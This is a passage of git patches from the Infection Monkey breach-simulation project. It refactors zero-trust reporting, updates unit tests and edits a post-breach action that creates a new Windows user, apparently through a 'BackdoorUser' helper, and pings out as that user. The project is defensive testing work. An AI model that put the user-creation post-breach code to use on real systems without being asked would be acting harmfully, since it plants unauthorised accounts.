4a67a21b7..c1a94166f 100644 --- a/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py @@ -12,7 +12,7 @@ class TestAggregateFinding(IslandTestCase): test = TEST_MALICIOUS_ACTIVITY_TIMELINE status = STATUS_VERIFY - events = [Event.create_event("t", "t", EVENT_TYPE_ISLAND)] + events = [Event.create_event("t", "t", EVENT_TYPE_MONKEY_NETWORK)] self.assertEquals(len(Finding.objects(test=test, status=status)), 0) AggregateFinding.create_or_add_to_existing(test, status, events) @@ -31,7 +31,7 @@ class TestAggregateFinding(IslandTestCase): test = TEST_MALICIOUS_ACTIVITY_TIMELINE status = STATUS_VERIFY - event = Event.create_event("t", "t", EVENT_TYPE_ISLAND) + event = Event.create_event("t", "t", EVENT_TYPE_MONKEY_NETWORK) events = [event] self.assertEquals(len(Finding.objects(test=test, status=status)), 0) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py index 7b45b1dee..68a7f713d 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py @@ -3,7 +3,7 @@ import json from common.data.network_consts import ES_SERVICE from common.data.zero_trust_consts import * from monkey_island.cc.models import Monkey -from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding +from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding, add_malicious_activity_to_timeline from monkey_island.cc.models.zero_trust.event import Event HTTP_SERVERS_SERVICES_NAMES = ['tcp-80'] @@ -67,8 +67,4 @@ def test_open_data_endpoints(telemetry_json): events=events ) - AggregateFinding.create_or_add_to_existing( - test=TEST_MALICIOUS_ACTIVITY_TIMELINE, - status=STATUS_VERIFY, - events=events - ) + add_malicious_activity_to_timeline(events) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py index 8198b5a3e..454f3a7fe 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py @@ -1,6 +1,6 @@ from common.data.zero_trust_consts import * from monkey_island.cc.models import Monkey -from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding +from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding, add_malicious_activity_to_timeline from monkey_island.cc.models.zero_trust.event import Event @@ -36,8 +36,4 @@ def test_machine_exploited(current_monkey, exploit_successful, exploiter, target events=events ) - AggregateFinding.create_or_add_to_existing( - test=TEST_MALICIOUS_ACTIVITY_TIMELINE, - status=STATUS_VERIFY, - events=events - ) + add_malicious_activity_to_timeline(events) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py index ba55fc575..ce34c2bb4 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py @@ -1,7 +1,6 @@ -from common.data.zero_trust_consts import TEST_TUNNELING, STATUS_FAILED, EVENT_TYPE_MONKEY_NETWORK, STATUS_VERIFY, \ - TEST_MALICIOUS_ACTIVITY_TIMELINE +from common.data.zero_trust_consts import TEST_TUNNELING, STATUS_FAILED, EVENT_TYPE_MONKEY_NETWORK from monkey_island.cc.models import Monkey -from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding +from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding, add_malicious_activity_to_timeline from monkey_island.cc.models.zero_trust.event import Event from monkey_island.cc.services.telemetry.processing.utils import get_tunnel_host_ip_from_proxy_field @@ -18,14 +17,11 @@ def test_tunneling_violation(tunnel_telemetry_json): event_type=EVENT_TYPE_MONKEY_NETWORK, timestamp=tunnel_telemetry_json['timestamp'] )] + AggregateFinding.create_or_add_to_existing( test=TEST_TUNNELING, status=STATUS_FAILED, events=tunneling_events ) - AggregateFinding.create_or_add_to_existing( - test=TEST_MALICIOUS_ACTIVITY_TIMELINE, - status=STATUS_VERIFY, - events=tunneling_events - ) + add_malicious_activity_to_timeline(tunneling_events) From 3b06768a98925ba69e3d4f3be2ec1eb24600657d Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 16 Sep 2019 16:32:21 +0300 Subject: [PATCH 72/78] Replaced sleep loop for waiting on the process with WaitForSingleObject winapi. --- .../actions/communicate_as_new_user.py | 28 +++++++++++++------ 1 file changed, 19 insertions(+), 9 deletions(-) diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py index 1c5dfcf45..cf49dc349 100644 --- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py @@ -5,6 +5,8 @@ import string import subprocess import time +import win32event + from infection_monkey.utils.windows.auto_new_user import AutoNewUser, NewUserError from common.data.post_breach_consts import POST_BREACH_COMMUNICATE_AS_NEW_USER from infection_monkey.post_breach.pba import PBA @@ -14,7 +16,7 @@ from infection_monkey.utils.linux.users import get_linux_commands_to_delete_user PING_TEST_DOMAIN = "google.com" -PING_WAIT_TIMEOUT_IN_SECONDS = 20 +PING_WAIT_TIMEOUT_IN_MILLISECONDS = 20 * 1000 CREATED_PROCESS_AS_USER_PING_SUCCESS_FORMAT = "Created process '{}' as user '{}', and successfully pinged." CREATED_PROCESS_AS_USER_PING_FAILED_FORMAT = "Created process '{}' as user '{}', but failed to ping (exit status {})." @@ -95,15 +97,16 @@ class CommunicateAsNewUser(PBA): # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfoa ) + logger.debug( + "Waiting for ping process to finish. Timeout: {}ms".format(PING_WAIT_TIMEOUT_IN_MILLISECONDS)) + + # Ignoring return code, as we'll use `GetExitCode` to determine the state of the process later. + _ = win32event.WaitForSingleObject( # Waits until the specified object is signaled, or time-out. + process_handle, # Ping process handle + PING_WAIT_TIMEOUT_IN_MILLISECONDS # Timeout in milliseconds + ) + ping_exit_code = win32process.GetExitCodeProcess(process_handle) - counter = 0 - while ping_exit_code == win32con.STILL_ACTIVE and counter < PING_WAIT_TIMEOUT_IN_SECONDS: - ping_exit_code = win32process.GetExitCodeProcess(process_handle) - counter += 1 - logger.debug("Waiting for ping to finish, round {}. Exit code: {}".format( - counter, - ping_exit_code)) - time.sleep(1) self.send_ping_result_telemetry(ping_exit_code, commandline, username) except Exception as e: @@ -125,6 +128,13 @@ class CommunicateAsNewUser(PBA): PostBreachTelem(self, (str(e), False)).send() def send_ping_result_telemetry(self, exit_status, commandline, username): + """ + Parses the result of ping and sends telemetry accordingly. + + :param exit_status: In both Windows and Linux, 0 exit code from Ping indicates success. + :param commandline: Exact commandline which was executed, for reporting back. + :param username: Username from which the command was executed, for reporting back. + """ if exit_status == 0: PostBreachTelem(self, ( CREATED_PROCESS_AS_USER_PING_SUCCESS_FORMAT.format(commandline, username), True)).send() From 1f56e8df61566056b0254a513e7509d6bbbe9fa8 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 16 Sep 2019 16:34:13 +0300 Subject: [PATCH 73/78] Use classname instead of self for static method --- .../post_breach/actions/communicate_as_new_user.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py index cf49dc349..4522def4f 100644 --- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py @@ -37,7 +37,7 @@ class CommunicateAsNewUser(PBA): super(CommunicateAsNewUser, self).__init__(name=POST_BREACH_COMMUNICATE_AS_NEW_USER) def run(self): - username = self.get_random_new_user_name() + username = CommunicateAsNewUser.get_random_new_user_name() if is_windows_os(): self.communicate_as_new_user_windows(username) else: From d4947d97f3eb1bcd0524ac829d98b1b9dbadb556 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 16 Sep 2019 16:37:30 +0300 Subject: [PATCH 74/78] Lock npm version for `pluralize` --- monkey/monkey_island/cc/ui/package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json index 983366c6e..4da085836 100644 --- a/monkey/monkey_island/cc/ui/package.json +++ b/monkey/monkey_island/cc/ui/package.json @@ -105,6 +105,6 @@ "redux": "^4.0.0", "sass-loader": "^7.1.0", "sha3": "^2.0.0", - "pluralize": "latest" + "pluralize": "^7.0.0" } } From 9f98025d3356bec9b4324a6af3cefcd635c21040 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 16 Sep 2019 16:44:16 +0300 Subject: [PATCH 75/78] Using protocol as well for cases when we are running on HTTP and not HTTPS (npm run start for example) --- monkey/monkey_island/cc/server_config.json | 2 +- monkey/monkey_island/cc/ui/src/components/Main.js | 3 ++- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/server_config.json b/monkey/monkey_island/cc/server_config.json index 420f1b303..7bf106194 100644 --- a/monkey/monkey_island/cc/server_config.json +++ b/monkey/monkey_island/cc/server_config.json @@ -1,4 +1,4 @@ { - "server_config": "standard", + "server_config": "testing", "deployment": "develop" } diff --git a/monkey/monkey_island/cc/ui/src/components/Main.js b/monkey/monkey_island/cc/ui/src/components/Main.js index 9fd3d8f1c..09038292e 100644 --- a/monkey/monkey_island/cc/ui/src/components/Main.js +++ b/monkey/monkey_island/cc/ui/src/components/Main.js @@ -215,7 +215,8 @@ class AppComponent extends AuthComponent { if (this.shouldShowNotification()) { const hostname = window.location.hostname; const port = window.location.port; - const url = `https://${hostname}:${port}${reportZeroTrustRoute}`; + const protocol = window.location.protocol; + const url = `${protocol}//${hostname}:${port}${reportZeroTrustRoute}`; Notifier.start( "Monkey Island", From 841e54afc883a9260c7f5420590eed9337169ae5 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 16 Sep 2019 17:41:26 +0300 Subject: [PATCH 76/78] Fixed UTs --- .../reporting/test_zero_trust_service.py | 85 +++++++++++++++---- 1 file changed, 69 insertions(+), 16 deletions(-) diff --git a/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py b/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py index 5d84a9cb0..46b4fefd7 100644 --- a/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py +++ b/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py @@ -54,14 +54,14 @@ class TestZeroTrustService(IslandTestCase): STATUS_FAILED: 0, STATUS_VERIFY: 2, STATUS_PASSED: 0, - STATUS_UNEXECUTED: 0, + STATUS_UNEXECUTED: 1, "pillar": "People" }, { STATUS_FAILED: 0, STATUS_VERIFY: 2, STATUS_PASSED: 0, - STATUS_UNEXECUTED: 2, + STATUS_UNEXECUTED: 4, "pillar": "Networks" }, { @@ -82,7 +82,7 @@ class TestZeroTrustService(IslandTestCase): STATUS_FAILED: 0, STATUS_VERIFY: 0, STATUS_PASSED: 0, - STATUS_UNEXECUTED: 1, + STATUS_UNEXECUTED: 3, "pillar": "Visibility & Analytics" }, { @@ -102,6 +102,8 @@ class TestZeroTrustService(IslandTestCase): self.fail_if_not_testing_env() self.clean_finding_db() + self.maxDiff = None + save_example_findings() expected = { @@ -111,14 +113,14 @@ class TestZeroTrustService(IslandTestCase): "principle": PRINCIPLES[PRINCIPLE_DATA_TRANSIT], "status": STATUS_FAILED, "tests": [ + { + "status": STATUS_FAILED, + "test": TESTS_MAP[TEST_DATA_ENDPOINT_HTTP][TEST_EXPLANATION_KEY] + }, { "status": STATUS_UNEXECUTED, "test": TESTS_MAP[TEST_DATA_ENDPOINT_ELASTIC][TEST_EXPLANATION_KEY] }, - { - "status": STATUS_FAILED, - "test": TESTS_MAP[TEST_DATA_ENDPOINT_HTTP][TEST_EXPLANATION_KEY] - } ] } ], @@ -127,14 +129,14 @@ class TestZeroTrustService(IslandTestCase): "principle": PRINCIPLES[PRINCIPLE_ENDPOINT_SECURITY], "status": STATUS_FAILED, "tests": [ + { + "status": STATUS_UNEXECUTED, + "test": TESTS_MAP[TEST_MACHINE_EXPLOITED][TEST_EXPLANATION_KEY] + }, { "status": STATUS_FAILED, "test": TESTS_MAP[TEST_ENDPOINT_SECURITY_EXISTS][TEST_EXPLANATION_KEY] }, - { - "status": STATUS_UNEXECUTED, - "test": TESTS_MAP[TEST_MACHINE_EXPLOITED][TEST_EXPLANATION_KEY] - } ] } ], @@ -159,6 +161,16 @@ class TestZeroTrustService(IslandTestCase): } ] }, + { + "principle": PRINCIPLES[PRINCIPLE_USERS_MAC_POLICIES], + "status": STATUS_UNEXECUTED, + "tests": [ + { + "status": STATUS_UNEXECUTED, + "test": TESTS_MAP[TEST_COMMUNICATE_AS_NEW_USER][TEST_EXPLANATION_KEY] + } + ] + }, { "principle": PRINCIPLES[PRINCIPLE_ANALYZE_NETWORK_TRAFFIC], "status": STATUS_UNEXECUTED, @@ -168,7 +180,17 @@ class TestZeroTrustService(IslandTestCase): "test": TESTS_MAP[TEST_MALICIOUS_ACTIVITY_TIMELINE][TEST_EXPLANATION_KEY] } ] - } + }, + { + "principle": PRINCIPLES[PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES], + "status": STATUS_UNEXECUTED, + "tests": [ + { + "status": STATUS_UNEXECUTED, + "test": TESTS_MAP[TEST_TUNNELING][TEST_EXPLANATION_KEY] + } + ] + }, ], PEOPLE: [ { @@ -180,9 +202,29 @@ class TestZeroTrustService(IslandTestCase): "test": TESTS_MAP[TEST_SCHEDULED_EXECUTION][TEST_EXPLANATION_KEY] } ] + }, + { + "principle": PRINCIPLES[PRINCIPLE_USERS_MAC_POLICIES], + "status": STATUS_UNEXECUTED, + "tests": [ + { + "status": STATUS_UNEXECUTED, + "test": TESTS_MAP[TEST_COMMUNICATE_AS_NEW_USER][TEST_EXPLANATION_KEY] + } + ] } ], - "Visibility & Analytics": [ + VISIBILITY_ANALYTICS: [ + { + "principle": PRINCIPLES[PRINCIPLE_USERS_MAC_POLICIES], + "status": STATUS_UNEXECUTED, + "tests": [ + { + "status": STATUS_UNEXECUTED, + "test": TESTS_MAP[TEST_COMMUNICATE_AS_NEW_USER][TEST_EXPLANATION_KEY] + } + ] + }, { "principle": PRINCIPLES[PRINCIPLE_ANALYZE_NETWORK_TRAFFIC], "status": STATUS_UNEXECUTED, @@ -192,12 +234,23 @@ class TestZeroTrustService(IslandTestCase): "test": TESTS_MAP[TEST_MALICIOUS_ACTIVITY_TIMELINE][TEST_EXPLANATION_KEY] } ] - } + }, + { + "principle": PRINCIPLES[PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES], + "status": STATUS_UNEXECUTED, + "tests": [ + { + "status": STATUS_UNEXECUTED, + "test": TESTS_MAP[TEST_TUNNELING][TEST_EXPLANATION_KEY] + } + ] + }, ], - "Workloads": [] + WORKLOADS: [] } - self.assertEquals(ZeroTrustService.get_principles_status(), expected) + result = ZeroTrustService.get_principles_status() + self.assertEquals(result, expected) def test_get_pillars_to_statuses(self): self.fail_if_not_testing_env() From db328a3432ff8b51b72a0b467e8163d37312ac0b Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 16 Sep 2019 17:42:21 +0300 Subject: [PATCH 77/78] Accidentaly committed server config testing :-1: --- monkey/monkey_island/cc/server_config.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/server_config.json b/monkey/monkey_island/cc/server_config.json index 7bf106194..420f1b303 100644 --- a/monkey/monkey_island/cc/server_config.json +++ b/monkey/monkey_island/cc/server_config.json @@ -1,4 +1,4 @@ { - "server_config": "testing", + "server_config": "standard", "deployment": "develop" } From 0667aad87fd2a1b2615e2f64d12c2ea15b496a03 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 16 Sep 2019 17:57:35 +0300 Subject: [PATCH 78/78] Small fixes - reversed condition accidentaly and missed one reference to get_windows_commands_to_add_user --- .../post_breach/actions/communicate_as_new_user.py | 2 +- monkey/infection_monkey/utils/windows/auto_new_user.py | 4 ++-- .../telemetry/zero_trust_tests/communicate_as_new_user.py | 3 ++- 3 files changed, 5 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py index 4522def4f..296179d41 100644 --- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py @@ -45,7 +45,7 @@ class CommunicateAsNewUser(PBA): @staticmethod def get_random_new_user_name(): - return USERNAME + "_" + ''.join(random.choice(string.ascii_lowercase) for _ in range(5)) + return USERNAME + ''.join(random.choice(string.ascii_lowercase) for _ in range(5)) def communicate_as_new_user_linux(self, username): try: diff --git a/monkey/infection_monkey/utils/windows/auto_new_user.py b/monkey/infection_monkey/utils/windows/auto_new_user.py index 5cf840ad1..d95ac0bf0 100644 --- a/monkey/infection_monkey/utils/windows/auto_new_user.py +++ b/monkey/infection_monkey/utils/windows/auto_new_user.py @@ -2,7 +2,7 @@ import logging import subprocess from infection_monkey.post_breach.actions.add_user import BackdoorUser -from infection_monkey.utils.windows.users import get_windows_commands_to_delete_user +from infection_monkey.utils.windows.users import get_windows_commands_to_delete_user, get_windows_commands_to_add_user logger = logging.getLogger(__name__) @@ -34,7 +34,7 @@ class AutoNewUser(object): self.username = username self.password = password - windows_cmds = BackdoorUser.get_windows_commands_to_add_user(self.username, self.password, True) + windows_cmds = get_windows_commands_to_add_user(self.username, self.password, True) _ = subprocess.check_output(windows_cmds, stderr=subprocess.STDOUT, shell=True) def __enter__(self): diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py index a48c3598a..6c5b1154b 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py @@ -11,7 +11,8 @@ COMM_AS_NEW_USER_SUCCEEDED_FORMAT = \ def test_new_user_communication(current_monkey, success, message): AggregateFinding.create_or_add_to_existing( test=TEST_COMMUNICATE_AS_NEW_USER, - status=STATUS_PASSED if success else STATUS_FAILED, + # If the monkey succeeded to create a user, then the test failed. + status=STATUS_FAILED if success else STATUS_PASSED, events=[ get_attempt_event(current_monkey), get_result_event(current_monkey, message, success)